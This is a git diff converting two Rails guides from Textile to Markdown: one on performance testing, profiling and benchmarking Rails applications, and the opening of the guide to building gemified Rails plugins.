-endprologue.
+--------------------------------------------------------------------------------
-h3. Performance Test Cases
+Performance Test Cases
+----------------------
Rails performance tests are a special type of integration tests, designed for
benchmarking and profiling the test code. With performance tests, you can
determine where your application's memory or speed problems are coming from,
and get a more in-depth picture of those problems.
-In a freshly generated Rails application, +test/performance/browsing_test.rb+
+In a freshly generated Rails application, `test/performance/browsing_test.rb`
contains an example of a performance test:
-<ruby>
+```ruby
require 'test_helper'
require 'rails/performance_test_help'
@@ -41,23 +43,23 @@ class BrowsingTest < ActionDispatch::PerformanceTest
get '/'
end
end
-</ruby>
+```
This example is a simple performance test case for profiling a GET request to
the application's homepage.
-h4. Generating Performance Tests
+### Generating Performance Tests
-Rails provides a generator called +performance_test+ for creating new
+Rails provides a generator called `performance_test` for creating new
performance tests:
-<shell>
+```bash
$ rails generate performance_test homepage
-</shell>
+```
-This generates +homepage_test.rb+ in the +test/performance+ directory:
+This generates `homepage_test.rb` in the `test/performance` directory:
-<ruby>
+```ruby
require 'test_helper'
require 'rails/performance_test_help'
@@ -70,13 +72,13 @@ class HomepageTest < ActionDispatch::PerformanceTest
get '/'
end
end
-</ruby>
+```
-h4. Examples
+### Examples
Let's assume your application has the following controller and model:
-<ruby>
+```ruby
# routes.rb
root to: 'home#dashboard'
resources :posts
@@ -111,17 +113,17 @@ class Post < ActiveRecord::Base
# CPU heavy calculations
end
end
-</ruby>
+```
-h5. Controller Example
+#### Controller Example
Because performance tests are a special kind of integration test, you can use
-the +get+ and +post+ methods in them.
+the `get` and `post` methods in them.
-Here's the performance test for +HomeController#dashboard+ and
-+PostsController#create+:
+Here's the performance test for `HomeController#dashboard` and
+`PostsController#create`:
-<ruby>
+```ruby
require 'test_helper'
require 'rails/performance_test_help'
@@ -139,20 +141,20 @@ class PostPerformanceTest < ActionDispatch::PerformanceTest
post '/posts', post: { body: 'lifo is fooling you' }
end
end
-</ruby>
+```
-You can find more details about the +get+ and +post+ methods in the
-"Testing Rails Applications":testing.html guide.
+You can find more details about the `get` and `post` methods in the
+[Testing Rails Applications](testing.html) guide.
-h5. Model Example
+#### Model Example
Even though the performance tests are integration tests and hence closer to
the request/response cycle by nature, you can still performance test pure model
code.
-Performance test for +Post+ model:
+Performance test for `Post` model:
-<ruby>
+```ruby
require 'test_helper'
require 'rails/performance_test_help'
@@ -166,129 +168,131 @@ class PostModelTest < ActionDispatch::PerformanceTest
posts(:awesome).slow_method
end
end
-</ruby>
+```
-h4. Modes
+### Modes
Performance tests can be run in two modes: Benchmarking and Profiling.
-h5. Benchmarking
+#### Benchmarking
Benchmarking makes it easy to quickly gather a few metrics about each test run.
-By default, each test case is run *4 times* in benchmarking mode.
+By default, each test case is run **4 times** in benchmarking mode.
To run performance tests in benchmarking mode:
-<shell>
+```bash
$ rake test:benchmark
-</shell>
+```
-h5. Profiling
+#### Profiling
Profiling allows you to make an in-depth analysis of each of your tests by using
an external profiler. Depending on your Ruby interpreter, this profiler can be
native (Rubinius, JRuby) or not (MRI, which uses RubyProf). By default, each
-test case is run *once* in profiling mode.
+test case is run **once** in profiling mode.
To run performance tests in profiling mode:
-<shell>
+```bash
$ rake test:profile
-</shell>
+```
-h4. Metrics
+### Metrics
Benchmarking and profiling run performance tests and give you multiple metrics.
The availability of each metric is determined by the interpreter being used—none
of them support all metrics—and by the mode in use. A brief description of each
metric and their availability across interpreters/modes is given below.
-h5. Wall Time
+#### Wall Time
Wall time measures the real world time elapsed during the test run. It is
affected by any other processes concurrently running on the system.
-h5. Process Time
+#### Process Time
Process time measures the time taken by the process. It is unaffected by any
other processes running concurrently on the same system. Hence, process time
is likely to be constant for any given performance test, irrespective of the
machine load.
-h5. CPU Time
+#### CPU Time
Similar to process time, but leverages the more accurate CPU clock counter
available on the Pentium and PowerPC platforms.
-h5. User Time
+#### User Time
User time measures the amount of time the CPU spent in user-mode, i.e. within
the process. This is not affected by other processes and by the time it possibly
spends blocked.
-h5. Memory
+#### Memory
Memory measures the amount of memory used for the performance test case.
-h5. Objects
+#### Objects
Objects measures the number of objects allocated for the performance test case.
-h5. GC Runs
+#### GC Runs
GC Runs measures the number of times GC was invoked for the performance test case.
-h5. GC Time
+#### GC Time
GC Time measures the amount of time spent in GC for the performance test case.
-h5. Metric Availability
+#### Metric Availability
-h6(#benchmarking_1). Benchmarking
+##### Benchmarking
-|_.Interpreter|_.Wall Time|_.Process Time|_.CPU Time|_.User Time|_.Memory|_.Objects|_.GC Runs|_.GC Time|
-|_.MRI | yes | yes | yes | no | yes | yes | yes | yes |
-|_.REE | yes | yes | yes | no | yes | yes | yes | yes |
-|_.Rubinius | yes | no | no | no | yes | yes | yes | yes |
-|_.JRuby | yes | no | no | yes | yes | yes | yes | yes |
+| Interpreter | Wall Time | Process Time | CPU Time | User Time | Memory | Objects | GC Runs | GC Time |
+| ------------ | --------- | ------------ | -------- | --------- | ------ | ------- | ------- | ------- |
+| **MRI** | yes | yes | yes | no | yes | yes | yes | yes |
+| **REE** | yes | yes | yes | no | yes | yes | yes | yes |
+| **Rubinius** | yes | no | no | no | yes | yes | yes | yes |
+| **JRuby** | yes | no | no | yes | yes | yes | yes | yes |
-h6(#profiling_1). Profiling
+##### Profiling
-|_.Interpreter|_.Wall Time|_.Process Time|_.CPU Time|_.User Time|_.Memory|_.Objects|_.GC Runs|_.GC Time|
-|_.MRI | yes | yes | no | no | yes | yes | yes | yes |
-|_.REE | yes | yes | no | no | yes | yes | yes | yes |
-|_.Rubinius | yes | no | no | no | no | no | no | no |
-|_.JRuby | yes | no | no | no | no | no | no | no |
+| Interpreter | Wall Time | Process Time | CPU Time | User Time | Memory | Objects | GC Runs | GC Time |
+| ------------ | --------- | ------------ | -------- | --------- | ------ | ------- | ------- | ------- |
+| **MRI** | yes | yes | no | no | yes | yes | yes | yes |
+| **REE** | yes | yes | no | no | yes | yes | yes | yes |
+| **Rubinius** | yes | no | no | no | no | no | no | no |
+| **JRuby** | yes | no | no | no | no | no | no | no |
-NOTE: To profile under JRuby you'll need to run +export JRUBY_OPTS="-Xlaunch.inproc=false --profile.api"+
-*before* the performance tests.
+NOTE: To profile under JRuby you'll need to run `export JRUBY_OPTS="-Xlaunch.inproc=false --profile.api"`
+**before** the performance tests.
-h4. Understanding the Output
+### Understanding the Output
-Performance tests generate different outputs inside +tmp/performance+ directory
+Performance tests generate different outputs inside `tmp/performance` directory
depending on their mode and metric.
-h5(#output-benchmarking). Benchmarking
+#### Benchmarking
In benchmarking mode, performance tests generate two types of outputs.
-h6(#output-command-line). Command Line
+##### Command Line
This is the primary form of output in benchmarking mode. Example:
-<shell>
+```bash
BrowsingTest#test_homepage (31 ms warmup)
wall_time: 6 ms
memory: 437.27 KB
objects: 5,514
gc_runs: 0
gc_time: 19 ms
-</shell>
+```
-h6. CSV Files
+##### CSV Files
-Performance test results are also appended to +.csv+ files inside +tmp/performance+.
-For example, running the default +BrowsingTest#test_homepage+ will generate
+Performance test results are also appended to `.csv` files inside `tmp/performance`.
+For example, running the default `BrowsingTest#test_homepage` will generate
following five files:
* BrowsingTest#test_homepage_gc_runs.csv
@@ -301,9 +305,9 @@ As the results are appended to these files each time the performance tests are
run in benchmarking mode, you can collect data over a period of time. This can
be very helpful in analyzing the effects of code changes.
-Sample output of +BrowsingTest#test_homepage_wall_time.csv+:
+Sample output of `BrowsingTest#test_homepage_wall_time.csv`:
-<shell>
+```bash
measurement,created_at,app,rails,ruby,platform
0.00738224999999992,2009-01-08T03:40:29Z,,3.0.0,ruby-1.8.7.249,x86_64-linux
0.00755874999999984,2009-01-08T03:46:18Z,,3.0.0,ruby-1.8.7.249,x86_64-linux
@@ -315,55 +319,56 @@ measurement,created_at,app,rails,ruby,platform
0.00740450000000004,2009-01-09T03:54:47Z,,3.0.0,ruby-1.8.7.249,x86_64-linux
0.00603150000000008,2009-01-09T03:54:57Z,,3.0.0,ruby-1.8.7.249,x86_64-linux
0.00771250000000012,2009-01-09T15:46:03Z,,3.0.0,ruby-1.8.7.249,x86_64-linux
-</shell>
+```
-h5(#output-profiling). Profiling
+#### Profiling
In profiling mode, performance tests can generate multiple types of outputs.
The command line output is always presented but support for the others is
dependent on the interpreter in use. A brief description of each type and
their availability across interpreters is given below.
-h6. Command Line
+##### Command Line
This is a very basic form of output in profiling mode:
-<shell>
+```bash
BrowsingTest#test_homepage (58 ms warmup)
process_time: 63 ms
memory: 832.13 KB
objects: 7,882
-</shell>
+```
-h6. Flat
+##### Flat
Flat output shows the metric—time, memory, etc—measure in each method.
-"Check Ruby-Prof documentation for a better explanation":http://ruby-prof.rubyforge.org/files/examples/flat_txt.html.
+[Check Ruby-Prof documentation for a better explanation](http://ruby-prof.rubyforge.org/files/examples/flat_txt.html).
-h6. Graph
+##### Graph
Graph output shows the metric measure in each method, which methods call it and
-which methods it calls. "Check Ruby-Prof documentation for a better explanation":http://ruby-prof.rubyforge.org/files/examples/graph_txt.html.
+which methods it calls. [Check Ruby-Prof documentation for a better explanation](http://ruby-prof.rubyforge.org/files/examples/graph_txt.html).
-h6. Tree
+##### Tree
-Tree output is profiling information in calltree format for use by "kcachegrind":http://kcachegrind.sourceforge.net/html/Home.html
+Tree output is profiling information in calltree format for use by [kcachegrind](http://kcachegrind.sourceforge.net/html/Home.html)
and similar tools.
-h6. Output Availability
+##### Output Availability
-|_. |_.Flat|_.Graph|_.Tree|
-|_.MRI | yes | yes | yes |
-|_.REE | yes | yes | yes |
-|_.Rubinius | yes | yes | no |
-|_.JRuby | yes | yes | no |
+| | Flat | Graph | Tree |
+| ------------ | ---- | ----- | ---- |
+| **MRI** | yes | yes | yes |
+| **REE** | yes | yes | yes |
+| **Rubinius** | yes | yes | no |
+| **JRuby** | yes | yes | no |
-h4. Tuning Test Runs
+### Tuning Test Runs
-Test runs can be tuned by setting the +profile_options+ class variable on your
+Test runs can be tuned by setting the `profile_options` class variable on your
test class.
-<ruby>
+```ruby
require 'test_helper'
require 'rails/performance_test_help'
@@ -374,155 +379,159 @@ class BrowsingTest < ActionDispatch::PerformanceTest
get '/'
end
end
-</ruby>
+```
In this example, the test would run 5 times and measure wall time and memory.
There are a few configurable options:
-|_.Option |_.Description|_.Default|_.Mode|
-|+:runs+ |Number of runs.|Benchmarking: 4, Profiling: 1|Both|
-|+:output+ |Directory to use when writing the results.|+tmp/performance+|Both|
-|+:metrics+ |Metrics to use.|See below.|Both|
-|+:formats+ |Formats to output to.|See below.|Profiling|
+| Option | Description | Default | Mode |
+| ---------- | ------------------------------------------ | ----------------------------- | --------- |
+| `:runs` | Number of runs. | Benchmarking: 4, Profiling: 1 | Both |
+| `:output` | Directory to use when writing the results. | `tmp/performance` | Both |
+| `:metrics` | Metrics to use. | See below. | Both |
+| `:formats` | Formats to output to. | See below. | Profiling |
Metrics and formats have different defaults depending on the interpreter in use.
-|_.Interpreter|_.Mode|_.Default metrics|_.Default formats|
-|/2.MRI/REE |Benchmarking|+[:wall_time, :memory, :objects, :gc_runs, :gc_time]+|N/A|
-|Profiling |+[:process_time, :memory, :objects]+|+[:flat, :graph_html, :call_tree, :call_stack]+|
-|/2.Rubinius|Benchmarking|+[:wall_time, :memory, :objects, :gc_runs, :gc_time]+|N/A|
-|Profiling |+[:wall_time]+|+[:flat, :graph]+|
-|/2.JRuby |Benchmarking|+[:wall_time, :user_time, :memory, :gc_runs, :gc_time]+|N/A|
-|Profiling |+[:wall_time]+|+[:flat, :graph]+|
+| Interpreter | Mode | Default metrics | Default formats |
+| -------------- | ------------ | ------------------------------------------------------- | ----------------------------------------------- |
+| **MRI/REE** | Benchmarking | `[:wall_time, :memory, :objects, :gc_runs, :gc_time]` | N/A |
+| | Profiling | `[:process_time, :memory, :objects]` | `[:flat, :graph_html, :call_tree, :call_stack]` |
+| **Rubinius** | Benchmarking | `[:wall_time, :memory, :objects, :gc_runs, :gc_time]` | N/A |
+| | Profiling | `[:wall_time]` | `[:flat, :graph]` |
+| **JRuby** | Benchmarking | `[:wall_time, :user_time, :memory, :gc_runs, :gc_time]` | N/A |
+| | Profiling | `[:wall_time]` | `[:flat, :graph]` |
As you've probably noticed by now, metrics and formats are specified using a
-symbol array with each name "underscored.":http://api.rubyonrails.org/classes/String.html#method-i-underscore
+symbol array with each name [underscored.](http://api.rubyonrails.org/classes/String.html#method-i-underscore)
-h4. Performance Test Environment
+### Performance Test Environment
-Performance tests are run in the +test+ environment. But running performance
+Performance tests are run in the `test` environment. But running performance
tests will set the following configuration parameters:
-<shell>
+```bash
ActionController::Base.perform_caching = true
ActiveSupport::Dependencies.mechanism = :require
Rails.logger.level = ActiveSupport::BufferedLogger::INFO
-</shell>
+```
-As +ActionController::Base.perform_caching+ is set to +true+, performance tests
-will behave much as they do in the +production+ environment.
+As `ActionController::Base.perform_caching` is set to `true`, performance tests
+will behave much as they do in the `production` environment.
-h4. Installing GC-Patched MRI
+### Installing GC-Patched MRI
To get the best from Rails' performance tests under MRI, you'll need to build
a special Ruby binary with some super powers.
The recommended patches for each MRI version are:
-|_.Version|_.Patch|
-|1.8.6|ruby186gc|
-|1.8.7|ruby187gc|
-|1.9.2 and above|gcdata|
+| Version | Patch |
+| --------------- | --------- |
+| 1.8.6 | ruby186gc |
+| 1.8.7 | ruby187gc |
+| 1.9.2 and above | gcdata |
-All of these can be found on "RVM's _patches_ directory":https://github.com/wayneeseguin/rvm/tree/master/patches/ruby
+All of these can be found on [RVM's _patches_ directory](https://github.com/wayneeseguin/rvm/tree/master/patches/ruby)
under each specific interpreter version.
Concerning the installation itself, you can either do this easily by using
-"RVM":http://rvm.beginrescueend.com or you can build everything from source,
+[RVM](http://rvm.beginrescueend.com) or you can build everything from source,
which is a little bit harder.
-h5. Install Using RVM
+#### Install Using RVM
The process of installing a patched Ruby interpreter is very easy if you let RVM
do the hard work. All of the following RVM commands will provide you with a
patched Ruby interpreter:
-<shell>
+```bash
$ rvm install 1.9.2-p180 --patch gcdata
$ rvm install 1.8.7 --patch ruby187gc
$ rvm install 1.9.2-p180 --patch ~/Downloads/downloaded_gcdata_patch.patch
-</shell>
+```
You can even keep your regular interpreter by assigning a name to the patched
one:
-<shell>
+```bash
$ rvm install 1.9.2-p180 --patch gcdata --name gcdata
$ rvm use 1.9.2-p180 # your regular ruby
$ rvm use 1.9.2-p180-gcdata # your patched ruby
-</shell>
+```
And it's done! You have installed a patched Ruby interpreter.
-h5. Install From Source
+#### Install From Source
This process is a bit more complicated, but straightforward nonetheless. If
you've never compiled a Ruby binary before, follow these steps to build a
Ruby binary inside your home directory.
-h6. Download and Extract
+##### Download and Extract
-<shell>
+```bash
$ mkdir rubygc
$ wget <the version you want from ftp://ftp.ruby-lang.org/pub/ruby>
$ tar -xzvf <ruby-version.tar.gz>
$ cd <ruby-version>
-</shell>
+```
-h6. Apply the Patch
+##### Apply the Patch
-<shell>
+```bash
$ curl http://github.com/wayneeseguin/rvm/raw/master/patches/ruby/1.9.2/p180/gcdata.patch | patch -p0 # if you're on 1.9.2!
$ curl http://github.com/wayneeseguin/rvm/raw/master/patches/ruby/1.8.7/ruby187gc.patch | patch -p0 # if you're on 1.8.7!
-</shell>
+```
-h6. Configure and Install
+##### Configure and Install
-The following will install Ruby in your home directory's +/rubygc+ directory.
-Make sure to replace +&lt;homedir&gt;+ with a full patch to your actual home
+The following will install Ruby in your home directory's `/rubygc` directory.
+Make sure to replace `<homedir>` with a full patch to your actual home
directory.
-<shell>
+```bash
$ ./configure --prefix=/<homedir>/rubygc
$ make && make install
-</shell>
+```
-h6. Prepare Aliases
+##### Prepare Aliases
-For convenience, add the following lines in your +~/.profile+:
+For convenience, add the following lines in your `~/.profile`:
-<shell>
+```bash
alias gcruby='~/rubygc/bin/ruby'
alias gcrake='~/rubygc/bin/rake'
alias gcgem='~/rubygc/bin/gem'
alias gcirb='~/rubygc/bin/irb'
alias gcrails='~/rubygc/bin/rails'
-</shell>
+```
Don't forget to use your aliases from now on.
-h4. Using Ruby-Prof on MRI and REE
+### Using Ruby-Prof on MRI and REE
Add Ruby-Prof to your applications' Gemfile if you want to benchmark/profile
under MRI or REE:
-<ruby>
+```ruby
gem 'ruby-prof', git: 'git://github.com/wycats/ruby-prof.git'
-</ruby>
+```
-Now run +bundle install+ and you're ready to go.
+Now run `bundle install` and you're ready to go.
-h3. Command Line Tools
+Command Line Tools
+------------------
Writing performance test cases could be an overkill when you are looking for one
time tests. Rails ships with two command line tools that enable quick and dirty
performance testing:
-h4. +benchmarker+
+### `benchmarker`
Usage:
-<shell>
+```bash
Usage: rails benchmarker 'Ruby.code' 'Ruby.more_code' ... [OPTS]
-r, --runs N Number of runs.
Default: 4
@@ -530,19 +539,19 @@ Usage: rails benchmarker 'Ruby.code' 'Ruby.more_code' ... [OPTS]
Default: tmp/performance
-m, --metrics a,b,c Metrics to use.
Default: wall_time,memory,objects,gc_runs,gc_time
-</shell>
+```
Example:
-<shell>
+```bash
$ rails benchmarker 'Item.all' 'CouchItem.all' --runs 3 --metrics wall_time,memory
-</shell>
+```
-h4. +profiler+
+### `profiler`
Usage:
-<shell>
+```bash
Usage: rails profiler 'Ruby.code' 'Ruby.more_code' ... [OPTS]
-r, --runs N Number of runs.
Default: 1
@@ -552,85 +561,87 @@ Usage: rails profiler 'Ruby.code' 'Ruby.more_code' ... [OPTS]
Default: process_time,memory,objects
-m, --formats x,y,z Formats to output to.
Default: flat,graph_html,call_tree
-</shell>
+```
Example:
-<shell>
+```bash
$ rails profiler 'Item.all' 'CouchItem.all' --runs 2 --metrics process_time --formats flat
-</shell>
+```
-NOTE: Metrics and formats vary from interpreter to interpreter. Pass +--help+ to
+NOTE: Metrics and formats vary from interpreter to interpreter. Pass `--help` to
each tool to see the defaults for your interpreter.
-h3. Helper Methods
+Helper Methods
+--------------
Rails provides various helper methods inside Active Record, Action Controller
and Action View to measure the time taken by a given piece of code. The method
-is called +benchmark()+ in all the three components.
+is called `benchmark()` in all the three components.
-h4. Model
+### Model
-<ruby>
+```ruby
Project.benchmark("Creating project") do
project = Project.create("name" => "stuff")
project.create_manager("name" => "David")
project.milestones << Milestone.all
end
-</ruby>
+```
-This benchmarks the code enclosed in the +Project.benchmark("Creating project") do...end+
+This benchmarks the code enclosed in the `Project.benchmark("Creating project") do...end`
block and prints the result to the log file:
-<ruby>
+```ruby
Creating project (185.3ms)
-</ruby>
+```
-Please refer to the "API docs":http://api.rubyonrails.org/classes/ActiveSupport/Benchmarkable.html#method-i-benchmark
-for additional options to +benchmark()+.
+Please refer to the [API docs](http://api.rubyonrails.org/classes/ActiveSupport/Benchmarkable.html#method-i-benchmark)
+for additional options to `benchmark()`.
-h4. Controller
+### Controller
-Similarly, you could use this helper method inside "controllers.":http://api.rubyonrails.org/classes/ActiveSupport/Benchmarkable.html
+Similarly, you could use this helper method inside [controllers.](http://api.rubyonrails.org/classes/ActiveSupport/Benchmarkable.html)
-<ruby>
+```ruby
def process_projects
benchmark("Processing projects") do
Project.process(params[:project_ids])
Project.update_cached_projects
end
end
-</ruby>
+```
-NOTE: +benchmark+ is a class method inside controllers.
+NOTE: `benchmark` is a class method inside controllers.
-h4. View
+### View
-And in "views":http://api.rubyonrails.org/classes/ActiveSupport/Benchmarkable.html:
+And in [views](http://api.rubyonrails.org/classes/ActiveSupport/Benchmarkable.html:)
-<erb>
+```erb
<% benchmark("Showing projects partial") do %>
<%= render @projects %>
<% end %>
-</erb>
+```
-h3. Request Logging
+Request Logging
+---------------
Rails log files contain very useful information about the time taken to serve
each request. Here's a typical log file entry:
-<shell>
+```bash
Processing ItemsController#index (for 127.0.0.1 at 2009-01-08 03:06:39) [GET]
Rendering template within layouts/items
Rendering items/index
Completed in 5ms (View: 2, DB: 0) | 200 OK [http://0.0.0.0/items]
-</shell>
+```
For this section, we're only interested in the last line:
-<shell>
+```bash
Completed in 5ms (View: 2, DB: 0) | 200 OK [http://0.0.0.0/items]
-</shell>
+```
This data is fairly straightforward to understand. Rails uses millisecond(ms) as
the metric to measure the time taken. The complete request spent 5 ms inside
@@ -638,35 +649,36 @@ Rails, out of which 2 ms were spent rendering views and none was spent
communication with the database. It's safe to assume that the remaining 3 ms
were spent inside the controller.
-Michael Koziarski has an "interesting blog post":http://www.therailsway.com/2009/1/6/requests-per-second
+Michael Koziarski has an [interesting blog post](http://www.therailsway.com/2009/1/6/requests-per-second)
explaining the importance of using milliseconds as the metric.
-h3. Useful Links
+Useful Links
+------------
-h4. Rails Plugins and Gems
+### Rails Plugins and Gems
-* "Rails Analyzer":http://rails-analyzer.rubyforge.org
-* "Palmist":http://www.flyingmachinestudios.com/programming/announcing-palmist
-* "Rails Footnotes":https://github.com/josevalim/rails-footnotes/tree/master
-* "Query Reviewer":https://github.com/dsboulder/query_reviewer/tree/master
-* "MiniProfiler":http://www.miniprofiler.com
+* [Rails Analyzer](http://rails-analyzer.rubyforge.org)
+* [Rails Footnotes](https://github.com/josevalim/rails-footnotes/tree/master)
+* [Query Reviewer](https://github.com/nesquena/query_reviewer)
+* [MiniProfiler](http://www.miniprofiler.com)
-h4. Generic Tools
+### Generic Tools
-* "httperf":http://www.hpl.hp.com/research/linux/httperf/
-* "ab":http://httpd.apache.org/docs/2.2/programs/ab.html
-* "JMeter":http://jakarta.apache.org/jmeter/
-* "kcachegrind":http://kcachegrind.sourceforge.net/html/Home.html
+* [httperf](http://www.hpl.hp.com/research/linux/httperf/)
+* [ab](http://httpd.apache.org/docs/2.2/programs/ab.html)
+* [JMeter](http://jakarta.apache.org/jmeter/)
+* [kcachegrind](http://kcachegrind.sourceforge.net/html/Home.html)
-h4. Tutorials and Documentation
+### Tutorials and Documentation
-* "ruby-prof API Documentation":http://ruby-prof.rubyforge.org
-* "Request Profiling Railscast":http://railscasts.com/episodes/98-request-profiling - Outdated, but useful for understanding call graphs.
+* [ruby-prof API Documentation](http://ruby-prof.rubyforge.org)
+* [Request Profiling Railscast](http://railscasts.com/episodes/98-request-profiling) - Outdated, but useful for understanding call graphs.
-h3. Commercial Products
+Commercial Products
+-------------------
Rails has been lucky to have a few companies dedicated to Rails-specific
performance tools. A couple of those are:
-* "New Relic":http://www.newrelic.com
-* "Scout":http://scoutapp.com
+* [New Relic](http://www.newrelic.com)
+* [Scout](http://scoutapp.com)
diff --git a/guides/source/plugins.textile b/guides/source/plugins.md
index fbd317f0c2..263f5b1351 100644
--- a/guides/source/plugins.textile
+++ b/guides/source/plugins.md
@@ -1,4 +1,5 @@
-h2. The Basics of Creating Rails Plugins
+The Basics of Creating Rails Plugins
+====================================
A Rails plugin is either an extension or a modification of the core framework. Plugins provide:
@@ -21,48 +22,51 @@ For the purpose of this guide pretend for a moment that you are an avid bird wat
Your favorite bird is the Yaffle, and you want to create a plugin that allows other developers to share in the Yaffle
goodness.
-endprologue.
+--------------------------------------------------------------------------------
-h3. Setup
+Setup
+-----
_"vendored plugins"_ were available in previous versions of Rails, but they are deprecated in
-Rails 3.2, and will not be available in the future.
+Rails 3.2, and will not be available in the future.
-Currently, Rails plugins are built as gems, _gemified plugins_. They can be shared across
-different rails applications using RubyGems and Bundler if desired.
+Currently, Rails plugins are built as gems, _gemified plugins_. They can be shared across
+different rails applications using RubyGems and Bundler if desired.
-h4. Generate a gemified plugin.
+### Generate a gemified plugin.
-Rails 3.1 ships with a +rails plugin new+ command which creates a
+Rails 3.1 ships with a `rails plugin new` command which creates a
skeleton for developing any kind of Rails extension with the ability
to run integration tests using a dummy Rails application. See usage
and options by asking for help:
-<shell>
+```bash
$ rails plugin --help
-</shell>
+```
-h3. Testing your newly generated plugin
+Testing your newly generated plugin
+-----------------------------------
-You can navigate to the directory that contains the plugin, run the +bundle install+ command
- and run the one generated test using the +rake+ command.
+You can navigate to the directory that contains the plugin, run the `bundle install` command
+ and run the one generated test using the `rake` command.
You should see:
-<shell>
- 2 tests, 2 assertions, 0 failures, 0 errors, 0 skips
-</shell>
+```bash
+ 2 tests, 2 assertions, 0 failures, 0 errors, 0 skips
+```
This will tell you that everything got generated properly and you are ready to start adding functionality.
-h3. Extending Core Classes
+Extending Core Classes
+----------------------
This section will explain how to add a method to String that will be available anywhere in your rails application.
-In this example you will add a method to String named +to_squawk+. To begin, create a new test file with a few assertions:
+In this example you will add a method to String named `to_squawk`. To begin, create a new test file with a few assertions:
-<ruby>
+```ruby
# yaffle/test/core_ext_test.rb
require 'test_helper'
@@ -72,33 +76,33 @@ class CoreExtTest < Test::Unit::TestCase
assert_equal "squawk! Hello World", "Hello World".to_squawk
end
end
-</ruby>
+```
-Run +rake+ to run the test. This test should fail because we haven't implemented the +to_squawk+ method:
+Run `rake` to run the test. This test should fail because we haven't implemented the `to_squawk` method:
-<shell>
- 1) Error:
- test_to_squawk_prepends_the_word_squawk(CoreExtTest):
- NoMethodError: undefined method `to_squawk' for "Hello World":String
- test/core_ext_test.rb:5:in `test_to_squawk_prepends_the_word_squawk'
-</shell>
+```bash
+ 1) Error:
+ test_to_squawk_prepends_the_word_squawk(CoreExtTest):
+ NoMethodError: undefined method `to_squawk' for [Hello World](String)
+ test/core_ext_test.rb:5:in `test_to_squawk_prepends_the_word_squawk'
+```
Great - now you are ready to start development.
-Then in +lib/yaffle.rb+ require +lib/core_ext+:
+Then in `lib/yaffle.rb` require `lib/core_ext`:
-<ruby>
+```ruby
# yaffle/lib/yaffle.rb
require "yaffle/core_ext"
module Yaffle
end
-</ruby>
+```
-Finally, create the +core_ext.rb+ file and add the +to_squawk+ method:
+Finally, create the `core_ext.rb` file and add the `to_squawk` method:
-<ruby>
+```ruby
# yaffle/lib/yaffle/core_ext.rb
String.class_eval do
@@ -106,39 +110,40 @@ String.class_eval do
"squawk! #{self}".strip
end
end
-</ruby>
+```
-To test that your method does what it says it does, run the unit tests with +rake+ from your plugin directory.
+To test that your method does what it says it does, run the unit tests with `rake` from your plugin directory.
-<shell>
- 3 tests, 3 assertions, 0 failures, 0 errors, 0 skips
-</shell>
+```bash
+ 3 tests, 3 assertions, 0 failures, 0 errors, 0 skips
+```
To see this in action, change to the test/dummy directory, fire up a console and start squawking:
-<shell>
+```bash
$ rails console
>> "Hello World".to_squawk
=> "squawk! Hello World"
-</shell>
+```
-h3. Add an "acts_as" Method to Active Record
+Add an "acts_as" Method to Active Record
+----------------------------------------
A common pattern in plugins is to add a method called 'acts_as_something' to models. In this case, you
want to write a method called 'acts_as_yaffle' that adds a 'squawk' method to your Active Record models.
To begin, set up your files so that you have:
-<ruby>
+```ruby
# yaffle/test/acts_as_yaffle_test.rb
require 'test_helper'
class ActsAsYaffleTest < Test::Unit::TestCase
end
-</ruby>
+```
-<ruby>
+```ruby
# yaffle/lib/yaffle.rb
require "yaffle/core_ext"
@@ -146,9 +151,9 @@ require 'yaffle/acts_as_yaffle'
module Yaffle
end
-</ruby>
+```
-<ruby>
+```ruby
# yaffle/lib/yaffle/acts_as_yaffle.rb
module Yaffle
@@ -156,9 +161,9 @@ module Yaffle
# your code will go here
end
end
-</ruby>
+```
-h4. Add a Class Method
+### Add a Class Method
This plugin will expect that you've added a method to your model named 'last_squawk'. However, the
plugin users might have already defined a method on their model named 'last_squawk' that they use
@@ -166,7 +171,7 @@ for something else. This plugin will allow the name to be changed by adding a cl
To start out, write a failing test that shows the behavior you'd like:
-<ruby>
+```ruby
# yaffle/test/acts_as_yaffle_test.rb
require 'test_helper'
@@ -174,55 +179,55 @@ require 'test_helper'
class ActsAsYaffleTest < Test::Unit::TestCase
def test_a_hickwalls_yaffle_text_field_should_be_last_squawk
- assert_equal :last_squawk, Hickwall.yaffle_text_field
+ assert_equal "last_squawk", Hickwall.yaffle_text_field
end
def test_a_wickwalls_yaffle_text_field_should_be_last_tweet
- assert_equal :last_tweet, Wickwall.yaffle_text_field
+ assert_equal "last_tweet", Wickwall.yaffle_text_field
end
end
-</ruby>
+```
-When you run +rake+, you should see the following:
+When you run `rake`, you should see the following:
-<shell>
- 1) Error:
- test_a_hickwalls_yaffle_text_field_should_be_last_squawk(ActsAsYaffleTest):
- NameError: uninitialized constant ActsAsYaffleTest::Hickwall
- test/acts_as_yaffle_test.rb:6:in `test_a_hickwalls_yaffle_text_field_should_be_last_squawk'
+```
+ 1) Error:
+ test_a_hickwalls_yaffle_text_field_should_be_last_squawk(ActsAsYaffleTest):
+ NameError: uninitialized constant ActsAsYaffleTest::Hickwall
+ test/acts_as_yaffle_test.rb:6:in `test_a_hickwalls_yaffle_text_field_should_be_last_squawk'
- 2) Error:
- test_a_wickwalls_yaffle_text_field_should_be_last_tweet(ActsAsYaffleTest):
- NameError: uninitialized constant ActsAsYaffleTest::Wickwall
- test/acts_as_yaffle_test.rb:10:in `test_a_wickwalls_yaffle_text_field_should_be_last_tweet'
+ 2) Error:
+ test_a_wickwalls_yaffle_text_field_should_be_last_tweet(ActsAsYaffleTest):
+ NameError: uninitialized constant ActsAsYaffleTest::Wickwall
+ test/acts_as_yaffle_test.rb:10:in `test_a_wickwalls_yaffle_text_field_should_be_last_tweet'
- 5 tests, 3 assertions, 0 failures, 2 errors, 0 skips
-</shell>
+ 5 tests, 3 assertions, 0 failures, 2 errors, 0 skips
+```
This tells us that we don't have the necessary models (Hickwall and Wickwall) that we are trying to test.
We can easily generate these models in our "dummy" Rails application by running the following commands from the
test/dummy directory:
-<shell>
+```bash
$ cd test/dummy
$ rails generate model Hickwall last_squawk:string
$ rails generate model Wickwall last_squawk:string last_tweet:string
-</shell>
+```
Now you can create the necessary database tables in your testing database by navigating to your dummy app
and migrating the database. First
-<shell>
+```bash
$ cd test/dummy
$ rake db:migrate
$ rake db:test:prepare
-</shell>
+```
While you are here, change the Hickwall and Wickwall models so that they know that they are supposed to act
like yaffles.
-<ruby>
+```ruby
# test/dummy/app/models/hickwall.rb
class Hickwall < ActiveRecord::Base
